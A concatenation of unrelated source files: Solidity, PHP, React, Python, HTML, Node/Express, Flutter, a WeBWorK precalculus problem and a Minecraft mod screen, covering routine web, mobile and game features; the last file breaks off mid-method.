address token = (a == ones) ? b : a;
require(_mainTokens[token], "OneSwapBuyback: MAIN_TOKEN_NOT_IN_PAIR");
uint256 tokenAmt = IERC20(token).balanceOf(address(this));
require(tokenAmt > 0, "OneSwapBuyback: NO_MAIN_TOKENS");
address[] memory path = new address[](1);
path[0] = pair;
// token -> ones
IERC20(token).approve(router, tokenAmt);
IOneSwapRouter(router).swapToken(
token, tokenAmt, 0, path, address(this), _MAX_UINT256);
}
}
|
<?php
/**
* LiteMage
* @package LiteSpeed_LiteMage
* @copyright Copyright (c) LiteSpeed Technologies, Inc. All rights reserved. (https://www.litespeedtech.com)
* @license https://opensource.org/licenses/GPL-3.0
*/
namespace Litespeed\Litemage\Console\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
/**
* Command for flush litemage cache by category IDs
*/
class LitemageFlushCats extends AbstractLitemageCommand
{
/**
* {@inheritdoc}
*/
protected function configure()
{
$this->type = 'category_id';
$this->tag_format = '/^[\d+]+$/';
$this->setName('cache:litemage:flush:cats');
$this->setDescription('Flushes LiteMage cache by a list of category IDs');
$this->addArgument(
$this->type,
InputArgument::IS_ARRAY,
'Space-separated list of category IDs (integer).'
);
parent::configure();
}
protected function getInputList(InputInterface $input)
{
parent::getInputList($input);
$this->tags = array_map(function($value) {
return 'C_' . $value;
}, $this->tags);
}
protected function getDisplayMessage()
{
return 'Flushed LiteMage cache by category IDs.';
}
}
|
import React, { useEffect, useState } from 'react';
import { Card, Form, Input, Button, Upload, message, Select } from 'antd';
import { UploadOutlined } from '@ant-design/icons';
import axios from 'axios';
import { useParams, useNavigate } from 'react-router-dom';
const { Option } = Select;
const ProductEdit = () => {
const [form] = Form.useForm();
const [fileList, setFileList] = useState([]);
const { id } = useParams();
const navigate = useNavigate();
const [types, setTypes] = useState([]);
useEffect(() => {
setTypes([
{ value: 'Фрукты', label: 'Фрукты' },
{ value: 'Овощи', label: 'Овощи' },
{ value: 'Мясо', label: 'Мясо' },
{ value: 'Рыба', label: 'Рыба' },
{ value: 'Молочные продукты', label: 'Молочные продукты' },
{ value: 'Зерновые и крупы', label: 'Зерновые и крупы' },
{ value: 'Специи', label: 'Специи' },
{ value: 'Масла и жиры', label: 'Масла и жиры' },
// добавьте другие типы по мере необходимости
]);
}, []);
useEffect(() => {
// Загрузка данных пользователя
axios.get(`http://localhost:8000/api/products/${id}/`)
.then(response => {
const product = response.data;
form.setFieldsValue({
name: product.name,
price: product.price,
type: product.type,
});
if (product.image) {
setFileList([{
uid: '-1',
name: 'image.png',
status: 'done',
url: product.image,
}]);
}
})
.catch(error => {
message.error('There was an error loading the product data');
console.error("There was an error!", error);
});
}, [id, form]);
const handleSubmit = (values) => {
const formData = new FormData();
formData.append('name', values.name);
formData.append('price', values.price);
formData.append('type', values.type);
if (fileList.length > 0 && fileList[0].originFileObj) {
formData.append('image', fileList[0].originFileObj);
}
axios.put(`http://localhost:8000/api/products/${id}/`, formData, {
headers: {
'Content-Type': 'multipart/form-data'
}
})
.then(response => {
message.success('Product updated successfully');
navigate('/admin/products');
})
.catch(error => {
message.error('There was an error updating the product');
console.error("There was an error!", error);
});
};
const handleChange = ({ fileList }) => setFileList(fileList);
return (
<div >
<Card title="Edit Product" >
<Form form={form} onFinish={handleSubmit} layout="vertical">
<div className="form-row">
<Form.Item name="name" label="Name" className="form-item" rules={[{ required: true, message: 'Please input the name!' }]}>
<Input className="input-field" type="text" />
</Form.Item>
<Form.Item name="price" label="Price" className="form-item" rules={[{ required: true, message: 'Please input the email!' }]}>
<Input className="input-field" type="number" />
</Form.Item>
<Form.Item name="type" label="Type" rules={[{ required: true, message: 'Please select the type!' }]}>
<Select>
{types.map(type => (
<Option key={type.value} value={type.value}>{type.label}</Option>
))}
</Select>
</Form.Item>
</div>
<div className="upload-container">
<Form.Item label="Image">
<Upload
className="input-field"
listType="picture"
fileList={fileList}
onChange={handleChange}
beforeUpload={() => false}
>
<Button icon={<UploadOutlined />}>Select image</Button>
</Upload>
</Form.Item>
</div>
<Form.Item>
<Button type="default" href="/admin/products">
Назад
</Button>
</Form.Item>
<Form.Item>
<Button type="primary" htmlType="submit">
Update Product
</Button>
</Form.Item>
</Form>
</Card>
</div>
);
};
export default ProductEdit;
|
import { useEffect, useState } from "react";
import { fetchMoviesFromApi, fetchMovieGenre } from "../movieApi";
import { FaAngleRight } from "react-icons/fa";
import Card from "./Card";
import Loading from "./Loading";
export default function FeaturedMovies() {
// State variables
const [movies, setMovies] = useState([]); // Store movie data
const [loading, setLoading] = useState(true); // Loading indicator state
const [genres, setGenres] = useState([]); // Store movie genres
useEffect(() => {
// Fetch featured movies from the API
fetchMoviesFromApi()
.then((moviesData) => {
setMovies(moviesData.slice(0, 10)); // Set the first 10 movies
setLoading(false); // Set loading to false when data is fetched
})
.catch((error) => {
console.error('Error:', error);
setLoading(false); // Set loading to false on error
});
// Fetch movie genres from the API
fetchMovieGenre()
.then((genre) => {
setGenres(genre);
})
.catch((error) => {
console.error('Error:', error);
});
}, []);
// Function to get movie genres based on genre IDs
function getMovieGenre(genreIds) {
return genreIds?.map((id) => {
const genre = genres.find((genre) => genre.id === id);
return genre ? genre.name : ""; // Return an empty string if genre is not found
}).join(', ');
}
return (
<section className="lg:px-24 md:px-6 px-4 pb-20 my-20">
<div className="flex justify-between items-center mb-11 gap-x-20 flex-wrap gap-y-2">
<h1 className="sm:text-4xl text-2xl font-bold">Featured Movies</h1>
<button className="flex items-center md:text-lg text-sm font-normal text-[#BE123C] gap-x-2 ">
See more <FaAngleRight />
</button>
</div>
{/* Display loading message while fetching data or render movie cards */}
<>
{loading ? (
// Display a loading message while data is being fetched
<Loading/>
) : (
<div className="grid xl:grid-cols-4 md:grid-cols-3 grid-cols-1 xl:gap-20 gap-10 sm:mx-0 mx-5">
{movies.map((movie) => (
<Card
releaseDate={movie.release_date.slice(0, 4)}
key={movie.id}
id={movie.id}
movieTitle={movie.title}
moviePoster={movie.poster_path}
movieGenre={getMovieGenre(movie.genre_ids)}
/>
))}
</div>
)}
</>
</section>
);
}
|
"""Recipe Class
This class represents a recipe with its ingredients and instructions.
"""
class Recipe:
"""
A recipe object containing its details and functionalities.
Args:
id (int): The unique identifier of the recipe.
name (str): The name of the recipe.
category (str): The category of the recipe (e.g., breakfast, dessert).
description (str): A description of the recipe.
ingredients (list): A list of dictionaries representing ingredients.
steps (list): A list of strings representing the recipe steps.
"""
def __init__(self, id, name, category, description, ingredients, steps):
self.id = id
self.name = name
self.category = category
self.description = description
self.ingredients = ingredients
self.steps = steps
def __str__(self):
return f"Recipe ID: {self.id}, Name: {self.name}, Category: {self.category}"
def has_ingredients(self, ingredient_names):
recipe_ingredient_names = set()
for ingredient in self.ingredients:
ingredient_name = ingredient['name']
recipe_ingredient_names.add(ingredient_name.capitalize())
return recipe_ingredient_names.issuperset(ingredient_names)
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="index.css">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
</head>
<body>
<header>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<div class="container">
<a class="navbar-brand" href="index.html">ZeMoSo</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavAltMarkup"
aria-controls="navbarNavAltMarkup" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNavAltMarkup">
<div class ="navbar-nav"></div>
<a class="nav-item nav-link" href="about.html">About</a>
<a class="nav-item nav-link" href="contact.html">Contact</a>
<a class="nav-item nav-link" href="gallery.html">Gallery</a>
</div>
</div>
</nav>
</header>
<div class="header">
<h1>ZeMoSo Intern</h1>
<button onclick="location.href='#';">Learn More</button>
</div>
<div class="slider">
<figure>
<img id="image"
src="https://images.unsplash.com/photo-1537884944318-390069bb8665?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=870&q=80"
alt="">
<img src="https://images.unsplash.com/photo-1542831371-29b0f74f9713?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=1170&q=80"
alt="">
<img src="https://images.unsplash.com/photo-1627398242454-45a1465c2479?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=774&q=80"
alt="">
<img src="https://images.unsplash.com/photo-1518773553398-650c184e0bb3?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=870&q=80"
alt="">
<img src="https://images.unsplash.com/photo-1537884944318-390069bb8665?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=870&q=80"
alt="">
</figure>
</div>
</body>
</html>
|
import PostModel, { IPost } from "@models/posts";
import { connectToDB } from "@utils/database";
import { Post } from "@utils/type";
async function gethandler(req: Request, { params }, res: Response) {
console.log(params.id);
await connectToDB();
const post = await PostModel.findById(params.id).populate("user");
return post
? new Response(JSON.stringify(post), { status: 200 })
: new Response("Prompt with ID not found!", { status: 404 });
}
async function patchhandler(req: Request, { params }, res: Response) {
const reqBody: Post | null = await req.json();
console.log(reqBody);
if (!reqBody) {
return new Response("Request body invalid!", { status: 400 });
}
await connectToDB();
try {
const post: (IPost & Document) | null = await PostModel.findById(params.id);
if (!post) {
return new Response("Prompt with ID not found..", { status: 404 });
} else {
console.log(post);
post.prompt = reqBody.prompt as string;
post.tags = reqBody.tags as string;
await post.save();
return new Response("Prompt Updated!", { status: 200 });
}
} catch (error) {
console.error(error);
return new Response("Failed to Update!", { status: 500 });
}
}
async function deletehandler(req: Request, { params }, res: Response) {
connectToDB();
try {
await PostModel.findByIdAndRemove(params.id);
console.log("Deleted: "+params.id)
return new Response("Deleted!!", {status:200})
} catch (error) {
console.error(error)
return new Response("Couldn't Delete!", {status: 500})
}
}
export { gethandler as GET, patchhandler as PATCH, deletehandler as DELETE };
|
require("dotenv").config();
require("express-async-errors");
// express
const express = require("express");
const app = express();
//rest of the packages
const morgan = require("morgan");
const cookieParser = require("cookie-parser");
const fileUpload = require("express-fileupload");
// Security packages
const rateLimiter = require("express-rate-limit");
const helmet = require("helmet");
const xss = require("xss-clean");
const cors = require("cors");
const mongoSanitize = require("express-mongo-sanitize");
//Database
const connectDB = require("./db/connect");
// routers
const authRouter = require("./routes/authRoute");
const userRouter = require("./routes/userRoute");
const productRouter = require("./routes/productRoute");
const reviewRouter = require("./routes/reviewRoute");
const orderRouter = require("./routes/orderRoute");
// Security packages
app.set("trust proxy", 1);
app.use(
rateLimiter({
windowMs: 15 * 60 * 1000,
max: 60,
})
);
app.use(helmet());
app.use(cors());
app.use(xss());
app.use(mongoSanitize());
// database
const notFoundMiddleWare = require("./middleware/not-found");
const errorHandlerMiddleWare = require("./middleware/error-handler");
app.use(morgan("tiny"));
app.use(express.json());
app.use(cookieParser(process.env.JWT_SECRET));
app.use(cors());
///fileUploads = this uploads default image from the public folder
app.use(express.static("./public"));
app.use(fileUpload());
app.get("/", (req, res) => {
res.send("e-commerce api");
});
app.get("/api/v1/", (req, res) => {
console.log(req.signedCookies);
res.send("e-commerce api");
});
app.use("/api/v1/auth", authRouter);
app.use("/api/v1/users", userRouter);
app.use("/api/v1/products", productRouter);
app.use("/api/v1/reviews", reviewRouter);
app.use("/api/v1/orders", orderRouter);
app.use(notFoundMiddleWare);
app.use(errorHandlerMiddleWare);
const port = process.env.PORT | 5000;
const start = async () => {
try {
await connectDB(process.env.MONGO_URI);
app.listen(port, console.log(`Server is listening on port ${port}....`));
} catch (error) {
console.log(error);
}
};
start();
|
import 'package:chat_appv2/screens/homescreen.dart';
import 'package:flutter/material.dart';
import 'package:chat_appv2/auth/createAccount.dart';
import 'package:chat_appv2/auth/methods.dart';
class LoginScreen extends StatefulWidget {
const LoginScreen({super.key});
@override
_LoginScreenState createState() => _LoginScreenState();
}
class _LoginScreenState extends State<LoginScreen> {
final TextEditingController _email = TextEditingController();
final TextEditingController _password = TextEditingController();
bool isLoading = false;
@override
Widget build(BuildContext context) {
final size = MediaQuery.of(context).size;
return Scaffold(
body: isLoading
? Center(
child: Container(
height: size.height / 20,
width: size.height / 20,
child: CircularProgressIndicator(),
),
)
: SingleChildScrollView(
child: Column(
children: [
SizedBox(
height: size.height / 20,
),
Container(
alignment: Alignment.centerLeft,
width: size.width / 0.5,
child: IconButton(
icon: Icon(Icons.arrow_back_ios), onPressed: () {}),
),
SizedBox(
height: size.height / 50,
),
Container(
width: size.width / 1.1,
child: Text(
"Welcome",
style: TextStyle(
fontSize: 34,
fontWeight: FontWeight.bold,
),
),
),
Container(
width: size.width / 1.1,
child: Text(
"Sign In to Contiue!",
style: TextStyle(
color: Colors.grey[700],
fontSize: 25,
fontWeight: FontWeight.w500,
),
),
),
SizedBox(
height: size.height / 10,
),
Container(
width: size.width,
alignment: Alignment.center,
child:
field(size, "email", Icons.account_box, _email, false),
),
Padding(
padding: const EdgeInsets.symmetric(vertical: 18.0),
child: Container(
width: size.width,
alignment: Alignment.center,
child:
field(size, "password", Icons.lock, _password, true),
),
),
SizedBox(
height: size.height / 10,
),
GestureDetector(
onTap: () {
if (_email.text.isNotEmpty && _password.text.isNotEmpty) {
setState(() {
isLoading = true;
});
logIn(_email.text, _password.text).then((user) {
if (user != null) {
setState(() {
isLoading = false;
});
Navigator.push(
context,
MaterialPageRoute(
builder: (_) => HomeScreen()));
print("Account Created Sucessfull");
} else {
print("Login Failed");
setState(() {
isLoading = false;
});
}
});
} else {
print("Please enter Fields");
}
},
child: Container(
height: size.height / 14,
width: size.width / 1.2,
decoration: BoxDecoration(
borderRadius: BorderRadius.circular(5),
color: Colors.blue,
),
alignment: Alignment.center,
child: Text(
"Login",
style: TextStyle(
color: Colors.white,
fontSize: 18,
fontWeight: FontWeight.bold,
),
)),
),
SizedBox(
height: size.height / 40,
),
GestureDetector(
onTap: () => Navigator.of(context).push(
MaterialPageRoute(builder: (_) => CreateAccount())),
child: Text(
"Create Account",
style: TextStyle(
color: Colors.blue,
fontSize: 16,
fontWeight: FontWeight.w500,
),
),
)
],
),
),
);
}
}
Widget field(Size size, String hintText, IconData icon,
TextEditingController cont, bool obsecure) {
return Container(
height: size.height / 14,
width: size.width / 1.1,
child: TextField(
obscureText: obsecure,
controller: cont,
decoration: InputDecoration(
prefixIcon: Icon(icon),
hintText: hintText,
hintStyle: TextStyle(color: Colors.grey),
border: OutlineInputBorder(
borderRadius: BorderRadius.circular(10),
)),
),
);
}
|
## DESCRIPTION
## Functions: Input and Output
## ENDDESCRIPTION
## KEYWORDS('functions','domain','range','input','output','interval notation')
## DBsubject('Precalculus')
## DBchapter('Functions')
## DBsection('Composite and Inverse Functions')
## Date('01/01/10')
## Author('Paul Pearson')
## Institution('Fort Lewis College')
## TitleText1('Functions Modeling Change')
## TitleText2('Functions Modeling Change')
## EditionText1('3')
## AuthorText1('Connally')
## Section1('2.4')
## Problem1('28')
## EditionText2('4')
## AuthorText2('Connally')
## Section2('2.4')
## Problem2('26')
DOCUMENT();
loadMacros(
"PGstandard.pl",
"MathObjects.pl",
"AnswerFormatHelp.pl",
"PGcourse.pl",
);
TEXT(beginproblem());
##################################
# Setup
Context("Numeric");
Context()->variables->are(c=>"Real",C=>"Real");
$a = random(550,650,10);
$b = random(40,60,5);
# $g = Formula("$a + $b*x");
$ginvc = Formula("(c - $a)/$b");
$ginvC = Formula("(C - $a)/$b");
#####################################
# Main text
Context()->texStrings;
BEGIN_TEXT
The cost (in dollars) of producing \( x \)
air conditioners is \( C = g(x) = $a + $b x \).
Find a formula for the inverse function
\( g^{-1}(C) \).
$PAR
\( g^{-1}(C) = \)
\{ ans_rule(20) \}
\{ AnswerFormatHelp("formula") \}
END_TEXT
Context()->normalStrings;
####################################
# Answer evaluation
install_problem_grader(~~&std_problem_grader);
$showPartialCorrectAnswers = 0;
sub mycheck {
my ($correct, $student, $ansHash) = @_;
if (($student == $ginvc) || ($student == $ginvC)) {
return 1; } else { return 0; }
}
ANS($ginvC->cmp( checker=>~~&mycheck ) );
SOLUTION(EV3(<<'END_SOLUTION'));
$PAR
$BBOLD SOLUTION $EBOLD
$PAR
We solve the equation \(C=g(x)=$g\) for \(x\). Subtract $a from both
sides and divide both sides by $b to get
\[x=\frac{1}{$b}(C-$a).\]
So
\[g^{-1}(C)=\frac{1}{$b}(C-$a).\]
END_SOLUTION
COMMENT('MathObject version');
ENDDOCUMENT();
|
import 'package:flutter/material.dart';
import 'package:healthline/res/style.dart';
import 'package:healthline/screen/widgets/elevated_button_widget.dart';
import 'package:healthline/utils/translate.dart';
class PaymentMethodScreen extends StatefulWidget {
const PaymentMethodScreen({super.key, required this.callback, required this.nextPage, required this.previousPage});
final Function(PaymentMethod) callback;
final VoidCallback nextPage;
final VoidCallback previousPage;
@override
State<PaymentMethodScreen> createState() => _PaymentMethodScreenState();
}
class _PaymentMethodScreenState extends State<PaymentMethodScreen> {
PaymentMethod _payment = PaymentMethod.None;
@override
Widget build(BuildContext context) {
return PopScope(
canPop: false,
onPopInvoked: (didPop) => widget.previousPage(),
child: Scaffold(
resizeToAvoidBottomInset: true,
backgroundColor: white,
extendBody: true,
bottomNavigationBar: _payment != PaymentMethod.None
? Container(
padding: EdgeInsets.fromLTRB(dimensWidth() * 10, 0,
dimensWidth() * 10, dimensHeight() * 3),
decoration: BoxDecoration(
gradient: LinearGradient(
colors: [Colors.white.withOpacity(0.0), white],
begin: Alignment.topCenter,
end: Alignment.bottomCenter,
),
),
child: ElevatedButtonWidget(
text: translate(context, 'payment'),
onPressed: () {
widget.callback(_payment);
widget.nextPage();
// Navigator.pushNamed(context, formConsultationName)
// .then((value) {
// if (value == true) {
// Navigator.pop(context, true);
// }
// });
}),
)
: null,
appBar: AppBar(
title: Text(
translate(context, 'payment'),
),
),
body: AbsorbPointer(
// absorbing: state is FetchScheduleLoading && state.schedules.isEmpty,
absorbing: false,
child: ListView(
padding: EdgeInsets.symmetric(
vertical: dimensHeight() * 3, horizontal: dimensWidth() * 3),
children: [
ListTile(
title: Text(
translate(context, 'healthline_wallet'),
style: Theme.of(context)
.textTheme
.titleMedium
?.copyWith(color: color1F1F1F),
),
shape: RoundedRectangleBorder(
borderRadius: BorderRadius.circular(
dimensWidth(),
),
),
onTap: () => setState(() {
_payment = PaymentMethod.Healthline;
}),
dense: true,
visualDensity: const VisualDensity(vertical: 0),
contentPadding: EdgeInsets.symmetric(
horizontal: dimensWidth(),
vertical: dimensHeight(),
),
leading: Image.asset(
DImages.icApp,
width: dimensWidth() * 4,
height: dimensHeight() * 4,
),
trailing: Radio<PaymentMethod>(
value: PaymentMethod.Healthline,
groupValue: _payment,
onChanged: (PaymentMethod? value) {
setState(() {
_payment = value ?? PaymentMethod.None;
});
},
),
),
// ListTile(
// title: Text(
// translate(context, 'momo_e_wallet'),
// style: Theme.of(context)
// .textTheme
// .titleMedium
// ?.copyWith(color: color1F1F1F),
// ),
// shape: RoundedRectangleBorder(
// borderRadius: BorderRadius.circular(
// dimensWidth(),
// ),
// ),
// onTap: () => setState(() {
// _payment = PaymentMethod.Momo;
// }),
// dense: true,
// visualDensity: const VisualDensity(vertical: 0),
// contentPadding: EdgeInsets.symmetric(
// horizontal: dimensWidth(),
// vertical: dimensHeight(),
// ),
// leading: Image.asset(
// DImages.mono,
// width: dimensWidth() * 4,
// height: dimensHeight() * 4,
// ),
// trailing: Radio<PaymentMethod>(
// value: PaymentMethod.Momo,
// groupValue: _payment,
// onChanged: (PaymentMethod? value) {
// setState(() {
// _payment = value ?? PaymentMethod.None;
// });
// },
// ),
// ),
],
),
),
),
);
}
}
|
<?php
/*
* ReceiptBuilder.class.php -- receipt builder class
*
* Copyright 2011 World Three Technologies, Inc.
* All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* Written by Yaxing Chen <[email protected]>
*
* build receipt objects from a list of receipt ids
*/
class ReceiptBuilder {
protected $db;
public function __construct(){
$this->db = new Database();
}
/**
*
*
* @param array(int) $receiptIds
*
* @return array(ReceiptEntity) receipt entity array, with only ids set
*/
public function initObjs($receiptIds) {
$objs = array();
foreach($receiptIds as $id) {
$tmp = new ReceiptEntity();
$tmp->id = $id;
array_push($objs, $tmp);
}
return $objs;
}
/**
*
*
* @param array(int) $receiptIds
*
* @return array(ReceiptEntity) $receipts
*
* @desc
*
* fetch full receipts, including tags, items
*/
public function build($receiptIds) {
$receipts = $this->initObjs($receiptIds);
$receipts = $this->fetchReceiptBasic($receipts);
$receipts = $this->fetchReceiptTags($receipts);
$receipts = $this->fetchReceiptItems($receipts);
return $receipts;
}
/**
*
*
* @param array(int) $receiptIds
*
* @return array(ReceiptEntity) $receipts
*
* @desc
*
* fetch mobile receipts, no items
*/
public function build_mobile($receiptIds) {
$receipts = $this->initObjs($receiptIds);
$receipts = $this->fetchReceiptBasic($receipts);
$receipts = $this->fetchReceiptTags($receipts);
return $receipts;
}
/**
*
*
* @param array() $receipts receipt entity array
*
* @return array() $ids id array
*
* @desc
* explode receipt ids in each entity into an array
*/
protected function explodeIds($receipts){
$ids = array();
foreach($receipts as $receipt){
array_push($ids, $receipt->id);
}
return $ids;
}
/**
*
*
* @param array(ReceiptEntity) $receipts
* @return array(ReceiptEntity) $receipts
*
* @desc fetch basic info for entities in the array
*/
protected function fetchReceiptBasic($receipts) {
$ids = $this->explodeIds($receipts);
$basics = $this->getReceiptsBasic($ids);
$i = 0;
foreach($receipts as $receipt) {
$basic = $basics[$receipt->id];
if(isset($basic)) {
$ref = new ReflectionClass('ReceiptEntity');
$memObjs = $ref->getProperties();
foreach($memObjs as $memObj){
$mem = $memObj->name;
if(isset($basic[$mem])){
$receipt->$mem = $basic[$mem];
}
}
$i ++;
}
}
return $receipts;
}
/**
* @see ReceiptCtrl::buildReceiptObj
* @see ReceiptEntity
*
* @param array $receiptObjs
* receipt object array, the result of ReceiptCtrl::buildReceiptObj($receipts)
*
* @return array $result
* receipt object array with tags fetched
*
*/
protected function fetchReceiptTags($receipts){
$ids = $this->explodeIds($receipts);
$tags = $this->getReceiptsTags($ids);
foreach($receipts as $receipt){
if(isset($tags[$receipt->id])){
$receipt->tags = $tags[$receipt->id];
}
}
return $receipts;
}
/**
*
*
* @param array() $receipts array of receipt entities
*
* @return $receipts
*
* @desc
* fetch items for each receipt entitiy in $receipts
*/
protected function fetchReceiptItems($receipts) {
$ids = $this->explodeIds($receipts);
$items = $this->getReceiptsItems($ids);
foreach($receipts as $receipt) {
if(isset($items[$receipt->id])) {
$receipt->items = $items[$receipt->id];
}
}
return $receipts;
}
/**
* @param array(int) receipt ids
*
* @return array $receipts
*
* @desc return receipts basic info array, indexed by receipt ID
*/
public function getReceiptsBasic($receiptIds) {
$ids = implode(',', $receiptIds);
$sql = <<<SEL
SELECT
r.`id`,
r.`store_define_id`,
DATE_FORMAT(r.`receipt_time`, '%Y-%m-%d %h:%i %p') as receipt_time,
r.`extra_cost`,
r.`sub_total_cost`,
r.`cut_down_cost`,
r.`tax`,
r.`total_cost`,
r.`source`,
r.`currency_mark`,
s.`store_name`
FROM
`receipt`
AS
r
LEFT JOIN
`store` as s
ON
r.`store_account`=s.`store_account`
WHERE
r.`id`
IN
($ids)
SEL;
$this->db->select($sql);
$result = $this->db->fetchAssoc();
$receipts = array();
foreach($result as $receipt) {
$receipts[$receipt['id']] = $receipt;
}
return $receipts;
}
/**
* @param array(int) receipt ids
*
* @return array $tags
*
* @desc return tags array for each receipt, indexed with receipt id
*
* @author Jimmy Chao
*/
public function getReceiptsTags($ids){
if(!isset($ids) || !is_array($ids)) return false;
$idList = implode(',',$ids);
$sql = "
SELECT
`receipt_id`, `tag`
FROM
`receipt_tag`
WHERE
`receipt_id` IN ($idList)
";
$this->db->select($sql);
$results = $this->db->fetchAssoc();
foreach($results as $result){
$tags[$result['receipt_id']][] = $result['tag'];
}
return $tags;
}
/**
*
*
* @param array() $receiptIds
*
* @return 2-d-array() items
*
* return all items of a list of receipts
*
* @example
* Array(
* [105] => Array
* (
* [0] => Array
* (
* [receipt_id] => 105
* [item_id] => 23
* [item_name] => Coffee
* [item_qty] => 1
* [item_discount] => 0.00
* [item_price] => 1.00
* [deleted] => 0
* )
*
* [1] => Array
* (
* [receipt_id] => 105
* [item_id] => 29
* [item_name] => Salad
* [item_qty] => 1
* [item_discount] => 30.00
* [item_price] => 3.00
* [deleted] => 0
* )
* )
*)
*/
public function getReceiptsItems($receiptIds){
$ids = implode(",", $receiptIds);
$sql = "
SELECT
*
FROM
`receipt_item`
WHERE
`receipt_id`
IN
($ids)
AND
`deleted`=false
";
$this->db->select($sql);
if($this->db->numRows() == 0){
return "";
}
else {
$result = $this->db->fetchAssoc();
$items = array();
foreach($result as $item) {
if(!isset($items[$item['receipt_id']])) {
$new = array();
array_push($new, $item);
$items[$item['receipt_id']] = $new;
}
else {
array_push($items[$item['receipt_id']], $item);
}
}
return $items;
}
}
}
?>
|
package me.khajiitos.jackseconomy.screen;
import com.mojang.blaze3d.systems.RenderSystem;
import com.mojang.blaze3d.vertex.PoseStack;
import me.khajiitos.jackseconomy.JacksEconomy;
import me.khajiitos.jackseconomy.curios.CuriosWallet;
import me.khajiitos.jackseconomy.init.Packets;
import me.khajiitos.jackseconomy.init.Sounds;
import me.khajiitos.jackseconomy.item.WalletItem;
import me.khajiitos.jackseconomy.menu.AdminShopMenu;
import me.khajiitos.jackseconomy.packet.AdminShopPurchasePacket;
import me.khajiitos.jackseconomy.price.ItemDescription;
import me.khajiitos.jackseconomy.screen.widget.BetterScrollPanel;
import me.khajiitos.jackseconomy.screen.widget.ShoppingCartEntry;
import me.khajiitos.jackseconomy.util.CurrencyHelper;
import net.minecraft.ChatFormatting;
import net.minecraft.client.Minecraft;
import net.minecraft.client.gui.GuiComponent;
import net.minecraft.client.gui.components.Button;
import net.minecraft.client.gui.screens.inventory.AbstractContainerScreen;
import net.minecraft.client.resources.sounds.SimpleSoundInstance;
import net.minecraft.network.chat.Component;
import net.minecraft.resources.ResourceLocation;
import net.minecraft.world.entity.player.Inventory;
import net.minecraft.world.item.ItemStack;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.*;
public class ShoppingCartScreen extends AbstractContainerScreen<AdminShopMenu> {
private static final ResourceLocation BACKGROUND = new ResourceLocation(JacksEconomy.MOD_ID, "textures/gui/shopping_cart.png");
private static final ResourceLocation NO_WALLET = new ResourceLocation(JacksEconomy.MOD_ID, "textures/gui/no_wallet.png");
protected static final ResourceLocation BALANCE_PROGRESS = new ResourceLocation(JacksEconomy.MOD_ID, "textures/gui/balance_progress.png");
public final AdminShopScreen parent;
private BetterScrollPanel shoppingCartPanel;
private List<Component> tooltip;
private Button purchaseButton;
public ShoppingCartScreen(AdminShopMenu pMenu, Inventory pPlayerInventory, AdminShopScreen parent) {
super(pMenu, pPlayerInventory, Component.empty());
this.parent = parent;
this.imageHeight = 232;
this.inventoryLabelY = this.imageHeight - 94;
}
public BigDecimal getShoppingCartValue() {
BigDecimal value = BigDecimal.ZERO;
for (Map.Entry<AdminShopScreen.ShopItem, Integer> items : this.parent.shoppingCart.entrySet()) {
value = value.add(BigDecimal.valueOf(items.getKey().price()).multiply(new BigDecimal(items.getValue())));
}
return value;
}
public void addPurchaseButton() {
ItemStack wallet = CuriosWallet.get(Minecraft.getInstance().player);
BigDecimal shoppingCartValue = getShoppingCartValue();
boolean canAfford = !wallet.isEmpty() && WalletItem.getBalance(wallet).compareTo(shoppingCartValue) >= 0;
purchaseButton = this.addRenderableWidget(new Button(this.leftPos + 94, this.topPos + 125, 75, 20, Component.translatable("jackseconomy.purchase").withStyle((canAfford && !this.parent.shoppingCart.isEmpty()) ? ChatFormatting.GREEN : ChatFormatting.RED), (b) -> {
Minecraft.getInstance().getSoundManager().play(SimpleSoundInstance.forUI(Sounds.CHECKOUT.get(), 1.0F));
Map<ItemDescription, Integer> map = new HashMap<>();
this.parent.shoppingCart.forEach((shopItem, amount) -> map.put(shopItem.itemDescription(), amount));
Packets.sendToServer(new AdminShopPurchasePacket(map));
this.parent.shoppingCart.clear();
this.clearWidgets();
this.init();
}, ((pButton, pPoseStack, pMouseX, pMouseY) -> {
if (wallet.isEmpty()) {
tooltip = List.of(Component.translatable("jackseconomy.no_wallet").withStyle(ChatFormatting.YELLOW));
} else if (!canAfford) {
tooltip = List.of(Component.translatable("jackseconomy.cant_afford").withStyle(ChatFormatting.RED));
} else if (this.parent.shoppingCart.isEmpty()) {
tooltip = List.of(Component.translatable("jackseconomy.shopping_cart_empty").withStyle(ChatFormatting.YELLOW));
} else {
tooltip = new ArrayList<>();
